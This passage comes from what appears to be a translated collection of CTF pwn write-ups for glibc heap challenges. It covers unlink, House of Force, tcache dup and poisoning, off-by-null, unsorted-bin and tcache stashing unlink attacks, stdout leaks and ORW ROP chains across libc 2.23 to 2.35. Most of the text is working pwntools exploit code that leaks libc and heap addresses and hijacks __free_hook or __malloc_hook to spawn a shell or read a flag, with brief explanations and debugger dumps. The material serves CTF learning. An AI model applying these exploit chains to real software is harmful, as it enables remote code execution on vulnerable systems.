  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;

  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

To call IO_overflow, several conditions must be met:

Therefore, the conditions can be satisfied by setting FILE[5] = 1, FILE[4] = 0, and setting all bytes after FILE[5] to 0.

Then, by forging the vtable of _IO_list_all and overwriting the __overflow field with libc_sys, the exploit can be achieved.

Due to the addition of vtable checks in libc 2.27, this method is ineffective in libc 2.27.

def exploit():
   add(0x18, 'a')
   payload = b'a'*0x18 + p64(0x21)
   payload += p32(1) + p32(0xddaa) + p64(0)
   payload += p64(0) + p64(0xfa1) # the offset must be mutiples of 0x1000
   edit(len(payload), payload)
   add(0x1000, 'b')
   add(0x408, 'c') # only largebin have fd_nextsize & bk_nextsize
   # the largebin's first 16 bytes are fd & bk (i.e. main_arena+88), the next 16 bytes are fd_nextsize & bk_nextsize
   show()
   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5163
   edit(16, 'd'*16)
   show()
   io.recvuntil('d'*16)
   heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0xc0
   log.success('libc_base: ' + hex(libc_base))
   log.success('heap_base: ' + hex(heap_base))
   libc_sys = libc_base + libc.sym['system']
   _IO_list_all = libc_base + libc.sym['_IO_list_all']

   payload = b'e'*0x408 + p64(0x21) 
   payload += b'a'*0x10
   fake_file = b'/bin/sh\0' + p64(0x60) # overflow the old_topchunk
   fake_file += p64(0) + p64(_IO_list_all-0x10) # unsorted bin attack
   fake_file += p64(0) + p64(1) # _IO_write_base & _IO_write_ptr
   fake_file = fake_file.ljust(0xd8, b'\x00') + p64(heap_base + 0x5c8) # make vtable point itself
   payload += fake_file
   payload += p64(0)*2 + p64(libc_sys) # position of __overflow
   edit(0x800, payload)
   
   io.sendline('1')

A small integration of heap and format string vulnerabilities.

Celebration for finishing the third page of buu~

def exploit():
   # leak elf and libc by fmtstr
   payload = '%11$p%15$p'
   io.sendline(payload)
   io.recvuntil('Hello, ')
   elf_base = int(io.recv(14), 16) - 0x116a - 28
   libc_base = int(io.recv(14), 16) - libc.sym['__libc_start_main'] - 240
   # modify chunk1's prev_inuse to trigger unlink: ptr = node_add - 0x18
   note_add = elf_base + 0x202060
   add(0, 0x98, 'x')
   add(1, 0x98, 'y')
   add(2, 0x98, 'z')
   fake_chunk = p64(0)+p64(0x91)+p64(note_add-0x18)+p64(note_add-0x10)
   fake_chunk = fake_chunk.ljust(0x90, b'\0')+p64(0x90)+p8(0xa0)
   edit(0, fake_chunk)
   dele(1)
   # modify global variable to hijack __free_hook and getshell
   free_hook = libc_base + libc.sym['__free_hook']
   libc_sys = libc_base + libc.sym['system']
   edit(0, p64(0)*3+p64(free_hook)+p64(0x98)+p64(note_add+0x18)+b'/bin/sh\0')
   edit(0, p64(libc_sys))
   dele(1)

There is an integer overflow vulnerability in the edit function:

unsigned __int64 __fastcall read_0(char *a1, __int64 len, char stop)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  for ( i = 0LL; len - 1 > i; ++i ) // len=0
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == stop )
      break;
    a1[i] = buf;
  }
  a1[i] = 0;
  return i;
}

exp:

def exploit():
   io.sendline('1')
   io.sendline('2')
   fake_chunk = p64(0)+p64(0xa1)+p64(buf-0x18)+p64(buf-0x10) # 0x90+0x20-0x10
   add(0x80, fake_chunk) #0
   add(0, '') #1, unlimited buffer size
   add(0x80, 'bbbbbbbb') #2

   dele(1)
   add(0, b'a'*0x10+p64(0xa0)+p64(0x90)) #1, chunk2's fake prev & size
   dele(2)  

   edit(0, b'a'*0x18+p64(0x602138)) # change the ptr address itself to 4th ptr (chunk1) 
   edit(0, p64(elf.got['puts']))

   libc_base = u64(show(3).ljust(8, b'\0')) - libc.sym['puts']
   log.success('libc_base: '+hex(libc_base))
   free_hook = libc_base + libc.sym['__free_hook']
   libc_sys = libc_base + libc.sym['system']

   edit(0, p64(free_hook))
   edit(3, p64(libc_sys))

   edit(0, ';sh\0') # there is a free func in edit func

gyctf_2020_force—House of Force + realloc_hook

Initially, I directly overwrote __malloc_hook with a one_gadget, but it crashed again. (One-gadgets often fail...)

Then I switched to using realloc, and by randomly pushing a few registers, it worked.

You can refer to this master's article to understand the conditions required for exploiting one_gadget: http://taqini.space/2020/04/29/about-execve/

def exploit():
   libc_base = add(0x200000, b'1') - 0x10 + 0x201000
   libc_sys = libc_base + libc.sym['system']
   libc_realloc = libc_base + libc.sym['realloc']
   one_gadget = libc_base+0x4527a

   top_addr = add(0x18, b'a'*0x18+p64(0xffffffffffffffff)) + 0x20
   offset = libc_base + libc.sym['__malloc_hook'] - top_addr
   malloc_size = offset - 0x18 - 0xf
   # malloc_size = offset - 0x8 - 0xf

   add(malloc_size, 'padding')
   add(0x18, b'a'*8+p64(one_gadget)+p64(libc_realloc+12)) # 13 16 is also ok
   # add(0x18, p64(one_gadget))

   io.sendline('1')
   io.sendline('24')

This can also be verified here:

──────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ rsp 0x7ffca061dcb0 —▸ 0x7f5c811ef95f (realloc+591) ◂— mov    rbp, rax
01:0008│     0x7ffca061dcb8 —▸ 0x5620ac402060 ◂— '24\n36947911353\n'
02:0010│     0x7ffca061dcc0 ◂— 0x4
03:0018│     0x7ffca061dcc8 ◂— 0x0
04:0020│     0x7ffca061dcd0 —▸ 0x7ffca061de20 —▸ 0x7ffca061df50 —▸ 0x5620ac200cf0 ◂— push   r15
05:0028│     0x7ffca061dcd8 —▸ 0x5620ac2008f0 ◂— xor    ebp, ebp
06:0030│ rsi 0x7ffca061dce0 —▸ 0x7ffca061e030 ◂— 0x1
07:0038│     0x7ffca061dce8 ◂— 0x0

Similar to note2, first perform a heap overflow followed by an unlink, then modify the heap pointer to free.got and edit it to puts.plt.

Take the GOT of any function (e.g., atoi), free it to leak the libc address. Finally, use one_gadget or system to modify atoi.got and free.got.

def exploit():
   # unlink part is omitted
   edit(0, b'a'*0x10+p64(buf-0x18)*2+p64(0)+p64(elf.got['free'])+p64(elf.got['atoi']))
   edit(2, p64(elf.plt['puts'])[:-1])
   dele(3)

   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['atoi']
   one_gadget = libc_base+0x4526a

   edit(2, p64(one_gadget)[:-1])
   dele(0)

libc 2.27

libc 2.27 UAF (buu-n1book: note)

There are obvious Use-After-Free (UAF) and Double Free vulnerabilities.

The approach is to fill up the tcache first and then perform a conventional unsorted bin attack.

def exploit():
   add(0x90, 'aaaaaaaa')
   add(0x90, 'bbbbbbbb')
   add(0x90, '/bin/sh\0')

   for i in range(7):
      free(0)
   free(1)
   show(1)
   addr = u64(p.recv(6).ljust(8, b'\0'))

   libc_base = addr - libc.sym['__malloc_hook'] - 112
   libc_sys = libc_base + libc.sym['system']
   libc_free = libc_base + libc.sym['__free_hook']

   edit(0, p64(libc_free))
   add(0x90, p64(libc_sys)) #??????
   add(0x90, p64(libc_sys))
   free(2)

Alternatively, using tcache_dup:

add(0x30,'aaa\n')#0
add(0x30,'bbb\n')#1
add(0x450,'xxxx\n')#2
add(0x30,'/bin/sh\n')#3
free(2)
addr = u64(show(2).ljust(8,'\x00'))

libc_base = addr - libc.sym['__malloc_hook'] - 112
libc_sys = libc_base + libc.sym['system']
libc_free = libc_base + libc.sym['__free_hook']

free(1)
free(0)
free(0)
edit(0,p64(free_hook)+'\n')
add(0x30,p64(system)+'\n')
add(0x30,p64(system)+'\n')
dele(3)

ciscn_2019_n_3 — Heap Fengshui

Some write-ups claim this is a fastbin attack, but in reality, this challenge involves tcache (libc 2.27) heap fengshui and has nothing to do with fastbins.

def exploit():
   add(0, 0x40, 'aaaa')
   add(1, 0x40, 'bbbb')
   free(0)
   free(1)
   add(2, 0xc, b'sh\0\0'+p32(elf.plt['system']))
   free(0)

After the first four lines of the exploit, the heap layout is as follows:

0x955e160       0x00000000      0x08048725      ....%...         <-- tcachebins[0x10][1/2]
0x955e168       0x0955e170      0x00000051      p.U.Q...
0x955e170       0x00000000      0x0000000a      ........         <-- tcachebins[0x30][1/2]
0x955e178       0x00000000      0x00000000      ........
0x955e180       0x00000000      0x00000000      ........
0x955e188       0x00000000      0x00000000      ........
0x955e190       0x00000000      0x00000000      ........
0x955e198       0x00000000      0x00000000      ........
0x955e1a0       0x00000000      0x00000000      ........
0x955e1a8       0x00000000      0x00000000      ........
0x955e1b0       0x00000000      0x00000000      ........
0x955e1b8       0x00000000      0x00000011      ........
0x955e1c0       0x0955e160      0x08048725      `.U.%...         <-- tcachebins[0x10][0/2]
0x955e1c8       0x0955e1d0      0x00000051      ..U.Q...
0x955e1d0       0x0955e170      0x0000000a      p.U.....         <-- tcachebins[0x30][0/2]
0x955e1d8       0x00000000      0x00000000      ........
0x955e1e0       0x00000000      0x00000000      ........
0x955e1e8       0x00000000      0x00000000      ........
0x955e1f0       0x00000000      0x00000000      ........
0x955e1f8       0x00000000      0x00000000      ........
0x955e200       0x00000000      0x00000000      ........
0x955e208       0x00000000      0x00000000      ........
0x955e210       0x00000000      0x00000000      ........
0x955e218       0x00000000      0x00021de9      ........         <-- Top chunk

Each time add(0x40) is called (where 0x40 can be replaced with other values), both malloc(0xc) and malloc(0x40) are executed. At this point, calling add(0xc) again will refill the first and third tcache entries.

Due to the LIFO mechanism of tcache, the next two mallocs will first fill the third tcache entry, then the first.

Observe the del function:

int do_del()
{
  int v0; // eax

  v0 = ask("Index");
  return (*(int (__cdecl **)(int))(records[v0] + 4))(records[v0]);
}

It can be seen that during add(0xc), rec_str_free()—i.e., records[0] + 4—is overwritten with the PLT address of system(), and records[v0] becomes the address of the string 'sh'.

Thus, when free(0) is called, it is equivalent to executing system('sh'), which results in obtaining a shell.

npuctf_2020_easyheap——off by one+chunk overlap

def exploit():
   add(0x18, 'a'*0x18) #0   
   add(0x18, 'b'*0x18) #1
   add(0x18, '/bin/sh\0') #2
   edit(0, 'x'*0x18+'\x41')
   free(1)
   add(0x38, p64(0)*3+p64(0x21)+p64(0x38)+p64(elf.got['free'])) #1
   show(1)

   libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['free']
   log.info('libc_base: ' + hex(libc_base))
   libc_sys = libc_base + libc.sym['system']

   edit(1, p64(libc_sys))
   free(2)

hitcontraining_magicheap—Unsorted Bin Attack

The core of the unsorted bin attack is to tamper with the bk pointer to an arbitrary address, causing that address to be overwritten with a very large number.

def exploit():
   add(0x500, 'aaaa')
   add(0x500, 'bbbb')
   add(0x500, 'cccc')
   free(1)
   edit(0, 0x520, b'a'*0x500 + p64(0) + p64(0x511) + p64(0) + p64(magic-0x10))

   add(0x500, '\0')
   io.sendline('4869')

ciscn_2019_final_3 — tcache dup

The knowledge point isn't difficult, but the implementation is quite tricky.

A key point is that if the tcache and unsortedbin pointers are the same, free the tcache first, then free the unsortedbin. This allows allocating to a libc address after two mallocs.

def exploit():
   gift = add(0, 0x18, b'a')
   dele(0) # first free it as a tcache

   for i in range(1, 9):
      add(i, 0x68, b'a') # padding

   add(9, 0x78, b'v') # padding cause 0x20+0x70*8+0x80 = 0x420, to pass unsortedbin free check
   add(10, 0x28, b'/bin/sh\0') # avoid merging with top chunk 
   dele(9)
   dele(9) # tcache dup
   add(11, 0x78, p64(gift-0x10))
   add(12, 0x78, p64(gift-0x10))
   add(13, 0x78, p64(0)+p64(0x421)) # modify chunk0's size to unsortedbin  

   dele(0) # second free it as an unsortedbin

   add(14, 0x18, b'a')
   libc_base = add(15, 0x18, b'a') - libc.sym['__malloc_hook'] - 0x70
   print(hex(libc_base))
   libc_sys = libc_base + libc.sym['system']
   free_hook = libc_base + libc.sym['__free_hook']

   dele(5)
   dele(5)
   add(16, 0x68, p64(free_hook))
   add(17, 0x68, b'n1rvana_yyds')
   add(18, 0x68, p64(libc_sys)) # modify free_hook's content to system

   dele(10)

hitcon_2018_children_tcache——off by null

Classic sandwich method.

def exploit():
   add(0x438, 'a') #0
   add(0x38, 'b') #1
   add(0x4f8, 'c') #2, must be multiples of 0x100
   add(0x18, '/bin/sh\0') #3
   dele(0)
   dele(1)

   for i in range(9): # clear prev_size bit by bit
      add(0x38-i, b't'*(0x38-i)) #0
      dele(0)
   add(0x38, b't'*0x30+p64(0x440+0x40)) #0
   dele(2)

   add(0x438, b'libc') #1
   show(0)

   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['__malloc_hook'] - 0x70
   log.info('libc_base: ' + hex(libc_base))
   free_hook = libc_base + libc.sym['__free_hook']
   one_gadget = libc_base + ogg_offset

   add(0x38, 'd') #2
   dele(0)
   dele(2)
   add(0x38, p64(free_hook))
   add(0x38, p64(free_hook))
   add(0x38, p64(one_gadget))
   dele(3)

gyctf_2020_signin—tcache&calloc

calloc has the following characteristics:

tcache has the following characteristics:

https://www.cnblogs.com/luoleqi/p/13473995.html

def exploit():
   for i in range(8):
      add(i)
   for i in range(8):
      dele(i)
   add(8) # give a blank to tcache
   edit(7, p64(ptr-0x10)) # it's in fastbin, so the calloc() will put ptr-0x10 in tcache bin
   backdoor() # and the target will become fd of 6th tcache bin

Forcibly adapted from the approach used in zctf_2016_note3.

🎉 Celebrating the completion of page 4 on buu ★,°:.☆( ̄▽ ̄)/$:.°★

def exploit():
   # heap overflow + fake_chunk
   add(16, 0x448, 'aaaaaaaa')
   add(1, 0x88, 'bbbbbbbb')
   add(2, 0x18, '\xc0')
   add(3, 0x18, '/bin/sh\0')
   fake_chunk = p64(0)+p64(0x431)+p64(buf-0x18)+p64(buf-0x10)
   edit(0, fake_chunk.ljust(0x430, b'\0')+p64(0x430)+p64(0x90))
   # unlink, buf[0] = 0x6020c8
   for i in range(4, 11):
      add(i, 0x88, 'xxxxxxxx')  
   for i in range(4, 11):
      dele(i)
   dele(1) 
   # make len[8] > 0
   for i in range(4, 9):
      add(i, 0x448, '\xc0')
   # leak heap_base
   edit(8, p64(0)*4+p64(buf-0x18)+p64(elf.got['free']-1)+p16(0x5812))
   edit(7, p64(0)+p64(elf.plt['puts']))
   dele(2)
   io.recvuntil(': ')
   tmp = io.recvline()[:-1]
   heap_base = u32(tmp.ljust(4, b'\0')) & 0xfffff000
   log.success('heap_base: '+hex(heap_base))
   # leak libc_base
   edit(8, p64(0)*4+p64(buf-0x18)+p64(elf.got['free']-1)+p64(heap_base+0x282))
   dele(2)
   io.recvuntil(': ')
   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - (0x7fd7b3f920c0 - 0x7fd7b3ba6000)
   log.success('libc_base: '+hex(libc_base))
   # getshell
   edit(7, p64(0)+p64(libc_base+libc.sym['system']))
   dele(3)

roarctf_2019_realloc_magic—realloc+stdout+tcache_poisoning

For the leak part, having a show function is ideal.

If there is no show function but PIE is disabled, you can try overwriting free.got with puts.plt or printf.plt.

If PIE is enabled, the only option is to use IO_stdout.

Characteristics of realloc:

Copyright Notice: This article is an original work by "Assassin__is__me" on CSDN, following the CC 4.0 BY-SA copyright license. Please include the original source link and this statement when reproducing. Original link: https://blog.csdn.net/qq_35078631/article/details/126913140

Explanation of the magic number 0xfbad1800: https://n0va-scy.github.io/2019/09/21/IO_FILE/

def exploit():
   realloc(0x18, 'a')
   realloc(0, '') # free it and set the NULL pointer
   realloc(0x88, 'b')
   realloc(0, '')
   realloc(0x28, '/bin/sh\0')
   realloc(0, '')
   realloc(0x88, 'bb')
   for i in range(7):
      dele()
   realloc(0, '') # unsorted bin

   realloc(0x18, 'a')
   # offset = int(input('input offset: '), 16) # debug
   offset = 1 # 1/16 brute force
   offset = (offset<<4)+7
   payload = p64(0)*3 + p64(0x61) + p8(0x60) + p8(offset) # _IO_2_1_stdout_

   realloc(0x48, payload) # tcache poisoning
   realloc(0, '')
   realloc(0x88, 'b')
   realloc(0, '')
   realloc(0x88, p64(0xfbad1800)+p64(0)*3+p8(0x58)) # some kind of magic qwq

   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) + (0x7ff04c342000 - 0x7ff04c72a2a0)
   log.success(message='libc_base: ' + hex(libc_base))
   free_hook = libc_base + libc.sym['__free_hook']
   libc_sys = libc_base + libc.sym['system']
   lock() # restart


   realloc(0x18, 'a') # the same method again
   realloc(0, '')
   realloc(0x98, 'b')
   realloc(0, '')
   realloc(0x28, '/bin/sh\0')
   realloc(0, '')
   realloc(0x98, 'bb')
   for i in range(7):
      dele()
   realloc(0, '')

   realloc(0x18, 'a')
   payload = p64(0)*3 + p64(0x61) + p64(free_hook-0x8)

   realloc(0x48, payload)
   realloc(0, '')
   realloc(0x98, 'b')
   realloc(0, '')
   realloc(0x98, b'/bin/sh\0' + p64(libc_sys))
   dele()

The mmap was not used; directly brute-forced stdout.

First, free a series of chunks into tcache, then modify the size and free into unsortedbin, followed by tcache_poisoning to overwrite stdout. The subsequent steps are similar to the previous challenge.

def exploit():
   # no use
   io.recvuntil('Mmap: ')
   mmap_addr = int(io.recvline(), 16)
   print(hex(mmap_addr))
   # unlink part
   add(0x18) #0
   heap_ptr = add(0x68) #1
   elf_base = heap_ptr-0x18-0x202060
   log.success('heap_ptr: ' + hex(heap_ptr))
   add(0x4f8) #2, must be multiples of 0x100
   add(0x18) #3

   fake_chunk = p64(0)+p64(0x61)+p64(heap_ptr-0x18)+p64(heap_ptr-0x10)
   fake_chunk = fake_chunk.ljust(0x60, b'\0') + p64(0x60)
   edit(1, fake_chunk)
   dele(2)
   # free into tcache first
   add(0x68) #2
   [add(0x88) for i in range(7)] #4~10
   add(0x5f8) #11
   edit(4, p64(0)*2+p64(0x90)+p64(0x101)+b'\n') # bypass unlink check
   dele(2)
   [dele(i) for i in range(4, 11)]
   # free into unsorted bin
   edit(1, p64(0x458)+p8(0x80) + b'\n')
   edit(0, p64(0x30)+p64(0x91) + b'\n')
   edit(1, p64(0x458)+p8(0x90) + b'\n')
   dele(0)
   # IO_file attack
   add(0x18) #0
   # offset = int(input('input offset: '), 16) # debug
   offset = 5 # 1/16 brute force
   offset = (offset<<4)+7
   payload = p8(0x60) + p8(offset) + b'\n'
   edit(0, payload)
   # leak libc
   add(0x68) #2
   add(0x68) #4
   edit(4, p64(0xfbad1800)+p64(0)*3+p8(0x58)+b'\n')
   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))-0x3e82a0
   log.success('libc_base: ' + hex(libc_base))
   # getshell
   edit(1, p64(0x18)+p64(libc_base+libc.sym['__free_hook']) + b'\n')
   edit(0, p64(libc_base+libc.sym['system']) + b'\n')
   edit(3, b'/bin/sh\x00' + b'\n')
   dele(3)

SWPUCTF_2019_p1KkHeap——tcache_perthread_struct+orw

The tcache_perthread_struct has two functionalities:

Since the program limits the number of free operations to three, we first use tcache_dup to gain control of tcache_perthread_struct and modify the cnt, so that subsequent 0x90-sized chunks are directly placed into the unsorted bin when freed. Then, we change the next allocation location for the 0x80-sized chunk to a mmap-allocated address and write the ORW shellcode to read the flag. For the 0x90-sized chunk, we change it to __malloc_hook or __exit_hook and write the mmap address. Finally, triggering a malloc or exit will execute the shellcode.

I used __malloc_hook, and all constraints were met perfectly.

The shell on the telecom broadband had no echo, while the campus network did—quite puzzling.

def exploit():
   add(0x88) # 0
   add(0x88) # 1
   dele(1)
   dele(1)
   show(1)

   io.recvuntil('content: ')
   heap_base = u64(io.recvline()[:-1].ljust(8, b'\x00')) - 0x2f0
   log.info('heap_base: ' + hex(heap_base))
   add(0x88) # 2
   edit(2, p64(heap_base+0x10))
   add(0x88) # 3
   add(0x88) # 4

   edit(4, b'\x3f'*16 + p64(0)*13 + p64(0x66660000))
   dele(0)
   show(0)

   io.recvuntil('content: ')
   libc_base = u64(io.recvline()[:-1].ljust(8, b'\x00')) - 0x3ebca0
   log.info('libc_base: ' + hex(libc_base))

   edit(4, b'\x3f'*16 + p64(0)*12 + p64(libc_base + libc.sym['__malloc_hook']) + p64(0x66660000))
   add(0x88) # 5
   shellcode = shellcraft.open('/flag')
   shellcode += shellcraft.read('rax', 'rsp', 100)
   shellcode += shellcraft.write(1, 'rsp', 100)
   payload = asm(shellcode)
   edit(5, payload)

   add(0x78) # 6
   edit(6, p64(0x66660000))
   add(0x78) # 7

libc 2.29 (>=libc 2.27-3ubuntu1.3, without tcache_dup)

Peak Geek Gift - Heap Feng Shui + Tcache Poisoning

Initially, I tried the tcache_dup method directly, only to find that libc 2.27 no longer supports it!

Since September 10, 2020, starting from version 2.27-3ubuntu1.3, partial modifications have been made to tcache, making it very similar to version 2.29. Most current challenges are based on this enhanced version, where double free no longer exists.

https://bbs.pediy.com/thread-269145.htm#msg_header_h1_4

The correct solution is as follows:

Because this challenge has too few indices (10), directly freeing 7 chunks to fill the tcache_list is not feasible. Instead, I used the bargain function to modify the fd pointer to a fake_chunk. This fake_chunk falls within the size range of unsortedbin and can be modified by adding a 0x60-sized heap chunk to alter the next pointer of a previously freed 0x100-sized tcache.

This approach not only leaks the fd of the unsorted bin but also modifies the fd of the next freed tcache, achieving tcache_dup. ———————————————— Copyright Notice: This article is an original work by the CSDN blogger "Loτυs," following the CC 4.0 BY-SA copyright license. Please include the original source link and this statement when reprinting. Original link: https://blog.csdn.net/Invin_cible/article/details/126396402

The heap layout is roughly as follows:

def exploit():
   payload = b'a'*0xa0 + p64(0) + p64(0x421)
   add(1, payload) #0
   add(1, 'gggg') #1
   add(1, 'kkkk') #2
   add(1, 'dddd') #3
   add(1, b'a'*0x80 + p64(0) + p64(0x71)) #4
   dele(0)
   dele(1)

   bargain(1, -0xc0)

   add(1, 'xxxx') #5
   add(1, 'yyyy') #6

   dele(6)

   show(6) 
   libc_base = int(io.recvuntil(b'\n')[:-1],10) - malloc_offset
   log.success(message='libc_base: ' + hex(libc_base))
   one_gadget = libc_base + ogg_offset
   free_hook = libc_base + libc.sym['__free_hook']

   dele(2)
   dele(1)
   add(2, p64(free_hook-0x10)*10) #7
   add(1, '/bin/sh\0') #8
   add(1, p64(one_gadget)) #9

   dele(3)

Attack Objectives

  1. Write a specified value to an arbitrary location.
  2. Allocate a chunk at an arbitrary address.

Prerequisites

  1. Ability to control the bk pointer of a Small Bin chunk.
  2. The program can bypass Tcache when fetching chunks (achievable using calloc).
  3. The program can allocate at least two different sizes of chunks that fall into the unsorted bin category.

https://www.anquanke.com/post/id/198173?display=mobile#h3-3

The challenge requires writing a value greater than 0x7f0000000000 to a specified location. However, due to additional restrictions on unsortedbin in libc2.29, the unsortedbin attack is no longer effective.

Since the program uses calloc to allocate memory, it is not possible to write values to regions like malloc_hook using the tcache poisoning method. But calloc happens to be a necessary condition for the tcache stashing unlink attack — as the saying goes, "When God closes a door, he opens a window."

Afterward, use the rop method with orw to read the flag.

def exploit():
   [[add(15, 4, 'chunk15\0'*4), dele(15)] for _ in range(7)]
   [[add(14, 2, 'chunk14\0'*4), dele(14)] for _ in range(6)]
   show(15)
   heap_base = u64(io.recvline()[-7:-1].ljust(8, b'\0')) - 0x26c0
   log.info('heap_base: ' + hex(heap_base))
   
   add(1, 4, 'chunk1\0'*4)
   add(13, 4, 'chunk13\0'*4) # avoid consolidate with top chunk
   dele(1)
   show(1)
   libc_base = u64(io.recvline()[-7:-1].ljust(8, b'\0')) - 0x1e4ca0
   log.info('libc_base: ' + hex(libc_base))
   # now the 0x410 tcachebin is full, and the 0x100 tcachebin has 6 chunks

   add(13, 3, 'chunk13\0'*4) # 0x410 - 0x310 = 0x100 unsortedbin
   add(13, 3, 'chunk13\0'*4) # 0x310 > 0x100, so it will be put into 0x100 smallbin
   # the 0x410 unsortedbin turns to 0x100 smallbin

   add(2, 4, 'chunk2\0'*4)
   add(13, 4, 'chunk13\0'*2) # avoid consolidate with top chunk
   dele(2)
   add(13, 3, 'chunk13\0'*4) # again
   add(13, 3, 'chunk13\0'*4) 
   # another 0x100 smallbin, now smallbin: chunk2 -> chunk1
   payload = b'0'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x37e0)+p64(heap_base+0x250+0x10+0x800-0x10)
   edit(2, payload)
   add(3, 2, 'chunk3\0'*4)
   # tcache stashing unlink attack -> write main_arena on chunk2's bk address
   pop_rdi_ret = libc_base + 0x0000000000026542
   pop_rsi_ret = libc_base + 0x0000000000026f9e
   pop_rdx_ret = libc_base + 0x000000000012bda6
   leave_ret = libc_base + 0x0000000000058373
   file_name_addr = heap_base + 0x0000000000004b40
   flag_addr = file_name_addr + 0x0000000000000200
   orw  = b'/flag\0\0\0'
   orw += p64(pop_rdi_ret)
   orw += p64(file_name_addr)
   orw += p64(pop_rsi_ret)
   orw += p64(0) # 0 is stdin, 1 is stdout, 2 is stderr
   orw += p64(libc_base+libc.symbols['open'])
   orw += p64(pop_rdi_ret)
   orw += p64(3) # 3 and so on is for new file descriptor
   orw += p64(pop_rsi_ret)
   orw += p64(flag_addr)
   orw += p64(pop_rdx_ret)
   orw += p64(0x40)
   orw += p64(libc_base+libc.symbols['read'])
   orw += p64(pop_rdi_ret)
   orw += p64(1)
   orw += p64(pop_rsi_ret)
   orw += p64(flag_addr)
   orw += p64(pop_rdx_ret)
   orw += p64(0x40)
   orw += p64(libc_base+libc.symbols['write'])

   add(4, 4, orw)
   io.sendline('666')
   io.recvuntil('What do you want to say?')
   io.send(b'a'*0x80 + p64(file_name_addr) + p64(leave_ret))

Easter Egg:

After replacing flag with links.txt, there is a link: https://buuoj.cn/files/192c547dae7b582f8b5b4665e0ad3a1d/akiwuhwh

Unfortunately, it returns a 404 error.

Regarding the unlink attack part, here is a condensed process:

Here's an explanation for why it is add rsp 0x48; ret:

In the final step when calling calloc, the stack layout is as follows, with rsp offset by 0x18 from the input:

By the time call malloc_hook(rax) is reached, the offset changes from 0x18 to 0x40, and the call itself pushes an additional 0x8 onto the stack. Therefore, 0x40 + 0x8 = 0x48.

def getorw(libc_base, heap_base, offset):
   pop_rdi = libc_base + 0x0000000000026542
   pop_rsi = libc_base + 0x0000000000026f9e
   pop_rdx = libc_base + 0x000000000012bda6
   pop_rax = libc_base + 0x0000000000047cf8
   syscall = libc_base + 0x00000000000cf6c5
   flag_addr = heap_base + offset
   # open
   orw = p64(pop_rdi) + p64(flag_addr)
   orw += p64(pop_rsi) + p64(0)
   orw += p64(pop_rdx) + p64(0)
   orw += p64(pop_rax) + p64(2)
   orw += p64(syscall)
   # read
   orw += p64(pop_rdi) + p64(3)
   orw += p64(pop_rsi) + p64(heap_base + 0x260)
   orw += p64(pop_rdx) + p64(0x70)
   orw += p64(pop_rax) + p64(0)
   orw += p64(syscall)
   # write
   orw += p64(pop_rdi) + p64(1)
   orw += p64(pop_rsi) + p64(heap_base + 0x260)
   orw += p64(pop_rdx) + p64(0x70)
   orw += p64(pop_rax) + p64(1)
   orw += p64(syscall)
   return orw

def exploit():
   # leak heap
   add(0, 'a' * 0x388)
   dele(0)
   edit(0, 'aaaaaaaa')
   show(0)
   io.recvuntil('aaaaaaaa')
   heap_base = u64(io.recv(6).ljust(8, b'\0')) & 0xfffffffffffff000
   log.success('heap_base: ' + hex(heap_base))
   # leak libc
   [[add(1, 'a' * 0x388), dele(1)] for i in range(6)]
   add(2, 'a' * 0x388)
   add(1, b'/bin/sh\0'.ljust(0x88, b'\0'))
   dele(2)
   show(2)
   libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\0')) - 0x1e4ca0
   log.success('libc_base: ' + hex(libc_base))
   # prepare __malloc_hook at 0x221
   add(0, 'a' * 0x218)
   dele(0)
   edit(0, p64(libc_base + libc.sym['__malloc_hook']))
   # make 6 tcache bins of size 0x100
   [[add(1, 'a' * 0xf8), dele(1)] for i in range(6)]
   # make 2 smallbins of size 0x100
   add(2, 'a' * 0x388)
   add(1, 'a' * 0x88)
   dele(2)
   add(1, 'a' * 0x288)
   add(1, 'a' * 0x288)  # smallbin1

   add(2, 'a' * 0x388)
   add(1, 'a' * 0x288)
   dele(2)
   add(1, 'a' * 0x288)
   add(1, 'a' * 0x288)  # smallbin2, 0xb20 overflow
   # tcache stashing unlink attack
   payload = b'/flag'.ljust(0x280, b'\0') + p64(0) + p64(0x101) + p64(heap_base + 0x26f0) + p64(heap_base + 0x1f)
   edit(2, payload)
   add(1, 'a' * 0xf8)
   # orw & get flag
   sec('yyyyyyyy')
   magic_rop = libc_base + 0x000000000008cfd6  # add rsp 0x48; ret
   payload = p64(magic_rop)
   sec(payload)
   my_orw = getorw(libc_base, heap_base, 0x2b20)
   pause()
   add(0, my_orw)

libc 2.35

corctf2022_cshell2—Heap Overflow + Decrypt Safe-Linking + Tcache Poisoning

The I/O is incredibly difficult to debug; it's easy to run into errors like sh: 1: 2: not found just when success seems within reach.

You can't even debug it!!!

Ironically: corctf{m0nk3y1ng_0n_4_d3bugg3r_15_th3_b35T!!!}

# all io.sendline() or the stream will get stuck

def decrypt_pointer(leak: int) -> int:
    parts = []

    parts.append((leak >> 36) << 36)
    parts.append((((leak >> 24) & 0xFFF) ^ (parts[0] >> 36)) << 24)
    parts.append((((leak >> 12) & 0xFFF) ^ ((parts[1] >> 24) & 0xFFF)) << 12)

    return parts[0] | parts[1] | parts[2]

def exploit():
   # leak libc
   add(0, 1032, '//bin/sh\0', '', '', 0, '')
   add(1, 1032, '', '', '', 0, '')

   for i in range(2, 11):
